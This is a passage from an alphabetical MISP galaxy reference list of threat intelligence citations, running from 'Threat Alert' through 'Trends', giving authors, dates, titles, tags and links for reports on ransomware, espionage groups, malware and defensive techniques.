Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts.

Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Aqua Build Images on Hosts"*

Table 23599. Table References

Links
https://blog.aquasec.com/malicious-container-image-docker-container-host

Cybereason INC Ransomware November 2023

Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Cybereason INC Ransomware November 2023"*

Table 23600. Table References

Links
https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf

Aqua Kinsing April 2020

Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Aqua Kinsing April 2020"*

Table 23601. Table References

Links
https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability

Cybereason LockBit 3

Cybereason. (n.d.). THREAT ANALYSIS REPORT: Assemble LockBit 3.0. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Cybereason LockBit 3"*

Table 23602. Table References

Links
https://www.cybereason.com/hubfs/dam/collateral/reports/Threat-Analysis-Assemble-LockBit-3.pdf

Cybereason StealBit Exfiltration Tool

Cybereason Global SOC Team. (n.d.). THREAT ANALYSIS REPORT: Inside the LockBit Arsenal - The StealBit Exfiltration Tool. Retrieved January 29, 2025.

The tag is: *misp-galaxy:references="Cybereason StealBit Exfiltration Tool"*

Table 23603. Table References

Links
https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool

Cybereason Lockbit 2.0

Cybereason Global SOC Team. (n.d.). THREAT ANALYSIS REPORT: LockBit 2.0 - All Paths Lead to Ransom. Retrieved January 24, 2025.

The tag is: *misp-galaxy:references="Cybereason Lockbit 2.0"*

Table 23604. Table References

Links
https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom

Segurança Informática URSA Sophisticated Loader 2020

Pedro Tavares (Segurança Informática). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="Segurança Informática URSA Sophisticated Loader 2020"*

Table 23605. Table References

Links
https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/

Palo Alto Networks Black Basta August 2022

Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Palo Alto Networks Black Basta August 2022"*

Table 23606. Table References

Links
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware

Unit42 Clop April 2021

Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021.

The tag is: *misp-galaxy:references="Unit42 Clop April 2021"*

Table 23607. Table References

Links
https://unit42.paloaltonetworks.com/clop-ransomware/

Palo Alto Unit 42 EKANS

Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 EKANS"*

Table 23608. Table References

Links
https://unit42.paloaltonetworks.com/threat-assessment-ekans-ransomware/

Unit 42 December 2 2024

Yoav Zemah. (2024, December 2). Threat Assessment Howling Scorpius (Akira Ransomware). Retrieved December 3, 2024.

The tag is: *misp-galaxy:references="Unit 42 December 2 2024"*

Table 23609. Table References

Links
https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/

Palo Alto Howling Scorpius DEC 2024

Zemah, Y. (2024, December 2). Threat Assessment: Howling Scorpius (Akira Ransomware). Retrieved January 8, 2025.

The tag is: *misp-galaxy:references="Palo Alto Howling Scorpius DEC 2024"*

Table 23610. Table References

Links
https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/

Unit42 Luna Moth November 21 2022

Kristopher Russo. (2022, November 21). Threat Assessment: Luna Moth Callback Phishing Campaign. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="Unit42 Luna Moth November 21 2022"*

Table 23611. Table References

Links
https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/

UNIT 42 LAPSUS Mar 2022

UNIT 42. (2022, March 24). Threat Brief: Lapsus$ Group. Retrieved May 17, 2022.

The tag is: *misp-galaxy:references="UNIT 42 LAPSUS Mar 2022"*

Table 23612. Table References

Links
https://unit42.paloaltonetworks.com/lapsus-group/

Unit 42 WhisperGate January 2022

Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.

The tag is: *misp-galaxy:references="Unit 42 WhisperGate January 2022"*

Table 23613. Table References

Links
https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family

Unit 42 November 18 2024

Unit. (2024, November 18). Threat Brief Operation Lunar Peek, Activity Related to CVE-2024-0012. Retrieved November 19, 2024.

The tag is: *misp-galaxy:references="Unit 42 November 18 2024"*

Table 23614. Table References

Links
https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/

Palo Alto MidnightEclipse APR 2024

Unit 42. (2024, April 12). Threat Brief: Operation MidnightEclipse, Post-Exploitation Activity Related to CVE-2024-3400 . Retrieved January 15, 2025.

The tag is: *misp-galaxy:references="Palo Alto MidnightEclipse APR 2024"*

Table 23615. Table References

Links
https://unit42.paloaltonetworks.com/cve-2024-3400/

Unit 42 DGA Feb 2019

Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.

The tag is: *misp-galaxy:references="Unit 42 DGA Feb 2019"*

Table 23616. Table References

Links
https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/

Red Canary TDR ChromeLoader

Red Canary. (n.d.). Threat: ChromeLoader. Retrieved September 26, 2024.

The tag is: *misp-galaxy:references="Red Canary TDR ChromeLoader"*

Table 23617. Table References

Links
https://redcanary.com/threat-detection-report/threats/chromeloader/

Dell TG-3390

Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.

The tag is: *misp-galaxy:references="Dell TG-3390"*

Table 23618. Table References

Links
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

SecureWorks TG-4127

SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="SecureWorks TG-4127"*

Table 23619. Table References

Links
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign

McAfee APT28 DDE1 Nov 2017

Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="McAfee APT28 DDE1 Nov 2017"*

Table 23620. Table References

Links
https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/

Unit 42 9 15 2023

Amer Elsad; Kristopher Russo; Austin Dever. (2023, September 15). Threat Group Assessment Muddled Libra (Updated). Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="Unit 42 9 15 2023"*

Table 23621. Table References

Links
https://unit42.paloaltonetworks.com/muddled-libra/

Unit 42 May 16 2025

Amer Elsad; Kristopher Russo; Austin Dever. (2025, May 16). Threat Group Assessment Muddled Libra (Updated May 16, 2025). Retrieved June 3, 2025.

The tag is: *misp-galaxy:references="Unit 42 May 16 2025"*

Table 23622. Table References

Links

https://unit42.paloaltonetworks.com/muddled-libra/

Awake Security Avaddon

Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021.

The tag is: *misp-galaxy:references="Awake Security Avaddon"*

Table 23623. Table References

Links
https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/

Awake Security C2 Cloud

Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Awake Security C2 Cloud"*

Table 23624. Table References

Links
https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/

Detecting Command & Control in the Cloud

Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.

The tag is: *misp-galaxy:references="Detecting Command & Control in the Cloud"*

Table 23625. Table References

Links
https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/

redpiranha.net March 17 2025

redpiranha.net. (2025, March 17). Threat Intelligence Report March 11 - March 17 2025. Retrieved April 4, 2025.

The tag is: *misp-galaxy:references="redpiranha.net March 17 2025"*

Table 23626. Table References

Links
https://redpiranha.net/news/threat-intelligence-report-march-11-march-17-2025

Threat Matrix for Kubernetes

Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Threat Matrix for Kubernetes"*

Table 23627. Table References

Links
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

SecureWorks BRONZE MOHAWK n.d.

SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="SecureWorks BRONZE MOHAWK n.d."*

Table 23628. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-mohawk

ESET T3 Threat Report 2021

ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022.

The tag is: *misp-galaxy:references="ESET T3 Threat Report 2021"*

Table 23629. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf

BlackBerry Amadey 2020

Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="BlackBerry Amadey 2020"*

Table 23630. Table References

Links
https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot

CiscoAngler

Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved

March 6, 2017.

The tag is: *misp-galaxy:references="CiscoAngler"*

Table 23631. Table References

Links
https://blogs.cisco.com/security/talos/angler-domain-shadowing

Talos IPFS 2022

Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.

The tag is: *misp-galaxy:references="Talos IPFS 2022"*

Table 23632. Table References

Links
https://blog.talosintelligence.com/ipfs-abuse/

Cisco Group 72

Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="Cisco Group 72"*

Table 23633. Table References

Links
http://blogs.cisco.com/security/talos/threat-spotlight-group-72

Talos ZxShell Oct 2014

Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.

The tag is: *misp-galaxy:references="Talos ZxShell Oct 2014"*

Table 23634. Table References

Links
https://blogs.cisco.com/security/talos/opening-zxshell

Infinitum IT LockBit 3.0

Infinitum IT. (n.d.). Threat Spotlight: Lockbit Black 3.0 Ransomware. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="Infinitum IT LockBit 3.0"*

Table 23635. Table References

Links
https://raw.githubusercontent.com/whichbuffer/Lockbit-Black-3.0/main/Threat%20Spotlight%20Lockbit%20Black%203.0%20Ransomware.pdf

BlackBerry WhisperGate 2022

BlackBerry Research and Intelligence Team. (2022, February 3). Threat Spotlight: WhisperGate Wiper Wreaks Havoc in Ukraine. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="BlackBerry WhisperGate 2022"*

Table 23636. Table References

Links
https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine

BlackBerry SystemBC June 10 2021

The BlackBerry Research & Intelligence Team. (2021, June 10). Threat Thursday: SystemBC – a RAT in the Pipeline. Retrieved September 21, 2023.

The tag is: *misp-galaxy:references="BlackBerry SystemBC June 10 2021"*

Table 23637. Table References

Links
https://blogs.blackberry.com/en/2021/06/threat-thursday-systembc-a-rat-in-the-pipeline

DOJ North Korea Indictment Feb 2021

Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.

The tag is: *misp-galaxy:references="DOJ North Korea Indictment Feb 2021"*

Table 23638. Table References

Links
https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and

Symantec Thrip June 2018

Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.

The tag is: *misp-galaxy:references="Symantec Thrip June 2018"*

Table 23639. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

FireEye Bootkits

Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.

The tag is: *misp-galaxy:references="FireEye Bootkits"*

Table 23640. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html

SpecterOps AWS Traffic Mirroring

Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022.

The tag is: *misp-galaxy:references="SpecterOps AWS Traffic Mirroring"*

Table 23641. Table References

Links
https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512

Ossmann Star Feb 2011

Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="Ossmann Star Feb 2011"*

Table 23642. Table References

Links
https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html

Trend Micro April 05 2022

Trend Micro. (2022, April 5). Thwarting Loaders: From SocGholish to BLISTER's LockBit Payload. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Trend Micro April 05 2022"*

Table 23643. Table References

Links
https://www.trendmicro.com/de_de/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html

Symantec Tick Apr 2016

DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.

The tag is: *misp-galaxy:references="Symantec Tick Apr 2016"*

Table 23644. Table References

Links
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan

TightVNC Software Project Page

TightVNC Software. (n.d.). TightVNC Software. Retrieved July 10, 2023.

The tag is: *misp-galaxy:references="TightVNC Software Project Page"*

Table 23645. Table References

Links
https://www.tightvnc.com/

AnyRun TimeBomb

Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.

The tag is: *misp-galaxy:references="AnyRun TimeBomb"*

Table 23646. Table References

Links
https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/

Microsoft TimeProvider

Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.

The tag is: *misp-galaxy:references="Microsoft TimeProvider"*

Table 23647. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx

API

Vishavjit Singh. (2023, June 22). TIMESTOMPING EXPLAINED ON API LEVEL. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="API"*

Table 23648. Table References

Links
https://medium.com/@vishavjitsingh.csi/timestomping-explained-on-api-level-f0c219cf3dc9

Talos TinyTurla September 2021

Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.

The tag is: *misp-galaxy:references="Talos TinyTurla September 2021"*

Table 23649. Table References

Links
https://blog.talosintelligence.com/2021/09/tinyturla.html

Kroll March 5 2024

Keith Wojcieszek; George Glass; Dave Truman. (2024, March 5). TODDLERSHARK ScreenConnect Vulnerability Exploited to Deploy BABYSHARK Variant. Retrieved August 25, 2024.

The tag is: *misp-galaxy:references="Kroll March 5 2024"*

Table 23650. Table References

Links
https://www.kroll.com/en/insights/publications/cyber/screenconnect-vulnerability-exploited-to-deploy-babyshark

Kaspersky ToddyCat Check Logs October 2023

Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.

The tag is: *misp-galaxy:references="Kaspersky ToddyCat Check Logs October 2023"*

Table 23651. Table References

Links
https://securelist.com/toddycat-keep-calm-and-check-logs/110696/

Mandiant_UNC2165

Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.

The tag is: *misp-galaxy:references="Mandiant_UNC2165"*

Table 23652. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/

Pentestlab Token Manipulation

netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.

The tag is: *misp-galaxy:references="Pentestlab Token Manipulation"*

Table 23653. Table References

Links
https://pentestlab.blog/2017/04/03/token-manipulation/

Token tactics

Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.

The tag is: *misp-galaxy:references="Token tactics"*

Table 23654. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/

Langer Stuxnet

Ralph Langner. (2013, November). To Kill a Centrifuge: A Technical Analysis of What Stuxnet's Creators Tried to Achieve. Retrieved December 7, 2020.

The tag is: *misp-galaxy:references="Langer Stuxnet"*

Table 23655. Table References

Links
https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf

TrendMicro Tonto Team October 2020

Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.

The tag is: *misp-galaxy:references="TrendMicro Tonto Team October 2020"*

Table 23656. Table References

Links
https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf

Google Israel-Hamas War February 14 2024

Sandra Joyce, Shane Huntley. (2024, February 14). Tool of First Resort: Israel-Hamas War in Cyber. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Google Israel-Hamas War February 14 2024"*

Table 23657. Table References

Links
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

NorthSec 2015 GData Uroburos Tools

Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.

The tag is: *misp-galaxy:references="NorthSec 2015 GData Uroburos Tools"*

Table 23658. Table References

Links
https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html

TrustedSec OOB Communications

Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="TrustedSec OOB Communications"*

Table 23659. Table References

Links
https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response

Cider Security Top 10 CICD Security Risks

Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cider Security Top 10 CICD Security Risks"*

Table 23660. Table References

Links
https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/

Attack.mitre.org January 16 2018

Attack.mitre.org. (2018, January 16). Tor. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Attack.mitre.org January 16 2018"*

Table 23661. Table References

Links
https://attack.mitre.org/software/S0183/

Dingledine Tor The Second-Generation Onion Router

Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="Dingledine Tor The Second-Generation Onion Router"*

Table 23662. Table References

Links
http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf

Symantec Tortoiseshell 2019

Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.

The tag is: *misp-galaxy:references="Symantec Tortoiseshell 2019"*

Table 23663. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain

FireEye FIN7 Shim Databases

Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.

The tag is: *misp-galaxy:references="FireEye FIN7 Shim Databases"*

Table 23664. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html

ESET Turla Lunar toolset May 2024

Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.

The tag is: *misp-galaxy:references="ESET Turla Lunar toolset May 2024"*

Table 23665. Table References

Links
https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/

Wikimedia Foundation Inc. January 15 2004

Wikimedia Foundation Inc.. (2004, January 15). touch (command) - Wikipedia. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Wikimedia Foundation Inc. January 15 2004"*

Table 23666. Table References

Links

https://en.wikipedia.org/wiki/Touch_(command)

Tox Homepage

Tox. (n.d.). Tox. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Tox Homepage"*

Table 23667. Table References

Links
https://tox.chat/

LOLBAS Tracker

LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.

The tag is: *misp-galaxy:references="LOLBAS Tracker"*

Table 23668. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/

BushidoToken Akira 2023

Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.

The tag is: *misp-galaxy:references="BushidoToken Akira 2023"*

Table 23669. Table References

Links
https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html

BushidoToken Scattered Spider August 16 2023

BushidoToken. (2023, August 16). Tracking Adversaries: Scattered Spider, the BlackCat affiliate. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="BushidoToken Scattered Spider August 16 2023"*

Table 23670. Table References

Links
https://blog.bushidotoken.net/2023/08/tracking-adversaries-scattered-spider.html

Lateral Movement Payne

Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.

The tag is: *misp-galaxy:references="Lateral Movement Payne"*

Table 23671. Table References

Links
https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts

Unit 42 KerrDown February 2019

Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus' new Downloader, KerrDown. Retrieved October 1, 2021.

The tag is: *misp-galaxy:references="Unit 42 KerrDown February 2019"*

Table 23672. Table References

Links
https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/

Trend Micro TeamTNT

Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Trend Micro TeamTNT"*

Table 23673. Table References

Links
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf

Okta HAR Files Incident Notice

David Bradbury. (2023, October 20). Tracking Unauthorized Access to Okta's Support System. Retrieved December 19, 2023.

The tag is: *misp-galaxy:references="Okta HAR Files Incident Notice"*

Table 23674. Table References

Links
https://sec.okta.com/articles/2023/10/tracking-unauthorized-access-oktas-support-system

SANS Windshift August 2018

Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="SANS Windshift August 2018"*

Table 23675. Table References

Links
https://www.scribd.com/document/661837258/WINDSHIFT-summit-archive-1554718868

Microsoft TxF

Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Microsoft TxF"*

Table 23676. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx

Rclone-mega-extortion_05_2021

Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="Rclone-mega-extortion_05_2021"*

Table 23677. Table References

Links
https://redcanary.com/blog/rclone-mega-extortion/

JScrip May 2018

Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.

The tag is: *misp-galaxy:references="JScrip May 2018"*

Table 23678. Table References

Links
https://docs.microsoft.com/windows/win32/com/translating-to-jscript

Talos Transparent Tribe May 2021

Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal.

Retrieved September 2, 2021.

The tag is: *misp-galaxy:references="Talos Transparent Tribe May 2021"*

Table 23679. Table References

Links
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html

tt_obliqueRAT

Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.

The tag is: *misp-galaxy:references="tt_obliqueRAT"*

Table 23680. Table References

Links
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html

Cisco Talos Transparent Tribe Education Campaign July 2022

1. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.

The tag is: *misp-galaxy:references="Cisco Talos Transparent Tribe Education Campaign July 2022"*

Table 23681. Table References

Links
https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html

tt_httrack_fake_domains

Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.

The tag is: *misp-galaxy:references="tt_httrack_fake_domains"*

Table 23682. Table References

Links
https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html

Kaspersky Transparent Tribe August 2020

Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.

The tag is: *misp-galaxy:references="Kaspersky Transparent Tribe August 2020"*

Table 23683. Table References

Links
https://securelist.com/transparent-tribe-part-1/98127/

Securelist Trasparent Tribe 2020

Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Securelist Trasparent Tribe 2020"*

Table 23684. Table References

Links
https://securelist.com/transparent-tribe-part-1/98127/

Microsoft TransportAgent Jun 2016

Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.

The tag is: *misp-galaxy:references="Microsoft TransportAgent Jun 2016"*

Table 23685. Table References

Links
https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help

Trap Manual

ss64. (n.d.). trap. Retrieved May 21, 2019.

The tag is: *misp-galaxy:references="Trap Manual"*

Table 23686. Table References

Links
https://ss64.com/bash/trap.html

Red Canary Netwire Linux 2022

TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.

The tag is: *misp-galaxy:references="Red Canary Netwire Linux 2022"*

Table 23687. Table References

Links
https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/

Cyberciti Trap Statements

Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.

The tag is: *misp-galaxy:references="Cyberciti Trap Statements"*

Table 23688. Table References

Links
https://bash.cyberciti.biz/guide/Trap_statement

US Dept. of Treasury Salt Typhoon JAN 2025

US Department of Treasury. (2025, January 17). Treasury Sanctions Company Associated with Salt Typhoon and Hacker Associated with Treasury Compromise. Retrieved February 24, 2025.

The tag is: *misp-galaxy:references="US Dept. of Treasury Salt Typhoon JAN 2025"*

Table 23689. Table References

Links
https://home.treasury.gov/news/press-releases/jy2792

Dept. of Treasury Iran Sanctions September 2020

Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.

The tag is: *misp-galaxy:references="Dept. of Treasury Iran Sanctions September 2020"*

Table 23690. Table References

Links
https://home.treasury.gov/news/press-releases/sm1127

Treasury EvilCorp Dec 2019

U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.

The tag is: *misp-galaxy:references="Treasury EvilCorp Dec 2019"*

Table 23691. Table References

Links
https://home.treasury.gov/news/press-releases/sm845

Treasury North Korean Cyber Groups September 2019

US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="Treasury North Korean Cyber Groups September 2019"*

Table 23692. Table References

Links
https://home.treasury.gov/news/press-releases/sm774

Mandiant APT29 Trello

Wolfram, J. et al. (2022, April 28). Trello From the Other Side: Tracking APT29 Phishing Campaigns. Retrieved August 3, 2022.

The tag is: *misp-galaxy:references="Mandiant APT29 Trello"*

Table 23693. Table References

Links
https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns

Mandiant Trending Evil Q1 2022

Mandiant. (n.d.). Trending Evil Q1 2022. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="Mandiant Trending Evil Q1 2022"*

Table 23694. Table References

Links
https://experience.mandiant.com/trending-evil/p/1

Trend Micro - Int SP

Trend Micro. (n.d.). Retrieved February 16, 2024.

The tag is: *misp-galaxy:references="Trend Micro - Int SP"*

Table 23695. Table References

Links

https://www.trendmicro.com/en_us/research.html

Malicious Chrome Extension Numbers

Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.

The tag is: *misp-galaxy:references="Malicious Chrome Extension Numbers"*

Table 23696. Table References

Links
